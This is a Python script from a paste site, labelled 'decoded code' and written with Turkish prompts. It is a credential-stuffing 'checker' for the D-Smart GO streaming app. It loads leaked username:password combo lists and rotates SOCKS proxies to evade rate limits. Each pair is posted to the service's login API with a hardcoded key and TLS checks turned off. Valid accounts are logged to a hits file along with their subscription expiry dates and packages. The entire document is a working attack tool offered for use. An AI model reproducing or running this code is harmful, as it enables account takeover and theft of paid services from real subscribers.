D-SmartGO.py

decoded code
 avatar
unknown
python
4 years ago
7.8 kB
125
Indexable
import datetime
import json,random,sys, time,os,re
#import androidhelper as sl4a
import subprocess
import pathlib

#import sock
import socket


import os,pip

try:
	import requests
except:
	print("requests modulu yüklü değil \n requests modulü yükleniyor \n")
	pip.main(['install', 'requests'])
import requests
try:
	import sock
except:
	print("sock modulu yüklü değil \n sock modulü yükleniyor \n")
	pip.main(['install', 'requests[socks]'] )
	pip.main(['install', 'sock'] )
	pip.main(['install', 'socks'] )
	pip.main(['install', 'PySocks'] )
import sock



subprocess.run(["clear", ""])
#ad = sl4a.Android()
feyzo=("""
\33[0m▰▰▰▰ ᴘʏᴛʜᴏɴ   \33[44m 𝗗-𝗦𝗺𝗮𝗿𝘁 𝗚𝗢 \33[0m ᴘʏ ᴄᴏɴғɪɢ▰▰▰▰       \33[33m                 
╔══════════════════════════════════        
║████  ████ ██ ░░ ██ ██████ ░ ████ ░░░         
║██ ░░ ██ ░░ ██  ██ ░░░░ ██ ░██ ░ ██ ░░        
║████  ████ ░ ████ ░░░ ██ ░ ██ ░░░ ██ ░     
║██ ░░ ██ ░░░░ ██ ░░ ██ ░░░░ ██ ░ ██ ░░      
║██ ░░ ████ ░░ ██ ░░ ██████ ░ ████ ░░░        
╚══════════════════════════════════                   
\33[0m▰▰▰▰ ᴘʏᴛʜᴏɴ   \33[44m 𝗗-𝗦𝗺𝗮𝗿𝘁 𝗚𝗢 \33[0m ᴘʏ ᴄᴏɴғɪɢ▰▰▰▰                   \33[0m

\33[1m🇹🇷APK PORTAL ™️ SOHBET🇹🇷\33[0m

https://t.me/joinchat/ezLr01xDyuw3MDFi
""")
print(feyzo) 
#ad = sl4a.Android()
import logging
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS="TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:TLS13-AES-256-GCM-SHA384:ECDHE:!COMP"

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
ses= requests.Session()
logging.captureWarnings(True)
bad=0
proxies=""
proxi=input("""
	Proxies kullanmak istiyormusunuz..!
1 - Evet
2 - Hayır
1 veya 2 yazınız =""")
subprocess.run(["clear", ""])
print(feyzo) 
if proxi =="1":
	say=0
	dsy=""
	dir='/sdcard/download/'
	for files in os.listdir (dir):
		if files.endswith(".txt"):
			say=say+1
			dsy=dsy+"	"+str(say)+"-) "+files+'\n'
	print ("""
	Aşağıdaki listeden combonuzu seçin!!!
"""+dsy+"""
\33[33mCombo klasörünüzde """ +str(say)+""" adet dosya bulundu !
Lütfen Proxy Socks5 dosyanızı seçininiz...!
	""")
	dsyno=str(input(" \33[31mCombo No =\33[0m"))
	say=0
	for files in os.listdir (dir):
		if files.endswith(".txt"):
			say=say+1
			if dsyno==str(say):
				dosyaa=(dir+files)
	say=0
	proxies=""
	print(dosyaa) 
	Proxy=dosyaa
	c=open(Proxy,'r')
	sock=c.readlines()
	prox=0
	Proxy=dosyaa
	subprocess.run(["clear", ""])
	print(feyzo) 
	pro=input("""
	Seçtiğiniz dosyadaki proxsy türü nedir?
1 - ipVanish Socks5
2 - free Socks4 
3 - free Socks5
	Proxy türü=""")
subprocess.run(["clear", ""])
print(feyzo) 
hit=0
pattern= "(00:\w{2}:79:\w{2}:\w{2}:\w{2})\n"
pattern= "(\w) "
if 1==1:
	say=0
	dsy=""
	dir='/sdcard/combo/'
	for files in os.listdir (dir):
		#if files.endswith(".txt"):
		say=say+1
		dsy=dsy+"	"+str(say)+"-) "+files+'\n'
	print ("""Aşağıdaki listeden combonuzu seçin!!!
"""+dsy+"""
\33[33mCombo klasörünüzde """ +str(say)+""" adet dosya bulundu !
""")
	dsyno=str(input(" \33[31mCombo No =\33[0m"))
	say=0
	for files in os.listdir (dir):
		#if files.endswith(".txt"):
		say=say+1
		if dsyno==str(say):
			dosyaa=(dir+files)
	say=0
	print(dosyaa) 
	combo=open(dosyaa,'r')
	totLen=combo.readlines()
	MacComboDosyaAdi=dosyaa
	#input("""
	#MAC combonuzun adını yazınız...!
	#	\33[1mDosya Adı=""") 
	dsy=dosyaa #/sdcard/'+MacComboDosyaAdi+'.txt'
subprocess.run(["clear", ""])
subprocess.run(["clear", ""])
print(feyzo) 
print(dosyaa)

DosyaA="/sdcard/" +"DSmartGOHits@Feyzo.txt"
def yaz(hits):
    dosya=open(DosyaA,'a+') 
    dosya.write(hits)
    dosya.close()
Hea={
"Origin":"dsmartgo.phone.android",
 "Content-Type":"application/json; charset=UTF-8",
 "Content-Length":"58",
 "Host":"api-crm-v21.ercdn.com",
 "Connection":"Keep-Alive",
 "Accept-Encoding":"gzip",
 "User-Agent":"com.dsmart.go.android/3.3.6 (Android/5.1.1; tr_TR; brand/samsung; model/SM-G955N; build/NRD90M.G955NKSU1AQDC)",
}

cpm=1

for mp in open(dosyaa,'r'):
	try:
		mp=mp.replace("\n","")
		user=str(mp.split(':')[0])
		pas=mp.split(':')[1]
		#print(len(user))
		
		if len(user) ==11:
			user=str(user[1:])
		if len(user) ==12:
			user=str(user[2:])
		if len(user) ==13:
			user=str(user[3:])
		
		
	#	print(user + "*" +pas)
		
		url="https://api-crm-v21.ercdn.com/membership/login/Mobile?key=082ceb72ae7b320b3e9a411d3c185fc9" 
		data={'Mobile':user,'Password':pas,'RememberMe':'1'}
	#	 "{\"us\":\"<USER>\",\"password\":\"<PASS>\"}" 
		
		
		
		if proxi =="1":
			if prox==len(sock)-2:
				prox=0
			#print("evet")
			if pro=="1":
					#print("1")
					while True:
						try:
							if prox==len(sock)-2:
								prox=0
							prox=prox+1
							#print(prox)
							pveri=(sock[prox])
							pveri=pveri.replace('\n','')
							pip=pveri.split(':')[0]
							pport=pveri.split(':')[1]
							pname=pveri.split(':')[2]
							ppass=pveri.split(':')[3]
							proxies={'http':'socks5://'+pname+':'+ppass+'@'+pip+':'+pport,
							'https':'socks5://'+pname+':'+ppass+'@'+pip+':'+pport}
							print('\33[32mSocks5 Total:'+str(len(sock)-1)+' Run: ' + str(prox)+' Bad:' +str(bad)+"\33[0m" )
						
							res = ses.post(url, headers=Hea,proxies =proxies, data=json.dumps(data),timeout=15, verify=False)
							veri=str(res.text)
							#print(str(req.text)+"-----" + str(prox))
							break
						except :
							bad=bad+1
							pass
		else:
			res = ses.post(url, headers=Hea,proxies =proxies, data=json.dumps(data),timeout=15, verify=False)
			veri=str(res.text)
			if 'Too Many' in veri:
				while True:
					#print("@@@@@@@@@@@@@@@")
					res = ses.post(url, headers=Hea,proxies =proxies, data=json.dumps(data),timeout=15, verify=False)
					veri=str(res.text)
					if not 'Too Many' in veri:
							break
							
		#print (res.content)
		#veri=str(res.text)
		say=say+1
		cpm=(time.time()-cpm)
		cpm=(round(60/cpm))
		
		print ("\33[0m" +mp+" \n \33[44m 𝗗-𝗦𝗺𝗮𝗿𝘁 𝗚𝗢 \33[0m\33[33m \033[96m Total:" + str(say)+ "\33[33m Hit:" + str(hit)+"\33[94m Cpm:" +str(cpm)+"\033[0m")
		cpm=time.time()
	#	print(veri+'\n\n')
		if 'CreateDate' in veri:
		   sound="/sdcard/kemik_sesi.mp3"
		   file = pathlib.Path(sound)
		 #  if file.exists ():
		#   	ad.mediaPlay(sound)
		   hit=hit+1
		   reklam="free"
		   pkt=""
		   if 'PackageName' in veri:
		   	rklm=veri.split('PackageName":"')
		   	for pk in rklm:
		   		pkt=pkt+pk.split('"')[0]+"💎"
		   	#reklam=rklm.split('"')[0]
		   
		   strh=veri.split('LicenseEndDate":"')[1]
		   strh=strh.split('"')[0]
		   
		  # tel=veri.split('Number":"')[1]
		 #  tel=tel.split('"')[0]
		   
		   imza=("""
╔╣ᴘʏᴛʜᴏɴ -ᴘʏ ᴄᴏɴғɪɢ
╠●👩‍User ➤ """+user+"""
╠●🔑Pass ➤ """+pas+"""
╠●🅵🅴🆈🆉🅾️
╠●📆B.Trh ➤"""+strh+"""
╠●💎Paketler➤"""+pkt+"""
╚ᴾʸᵗʰᵒⁿ ᴾʳᵒᵍʳᵃᵐᵐᵉʳ ᵇʸ ᶠᵉʸᶻᵒ╝
""")
		   print(imza)
		   yaz(imza)
	except:pass	
	
		   
		   
		   
		   
		   
		   
		  
	    
	
Editor is loading...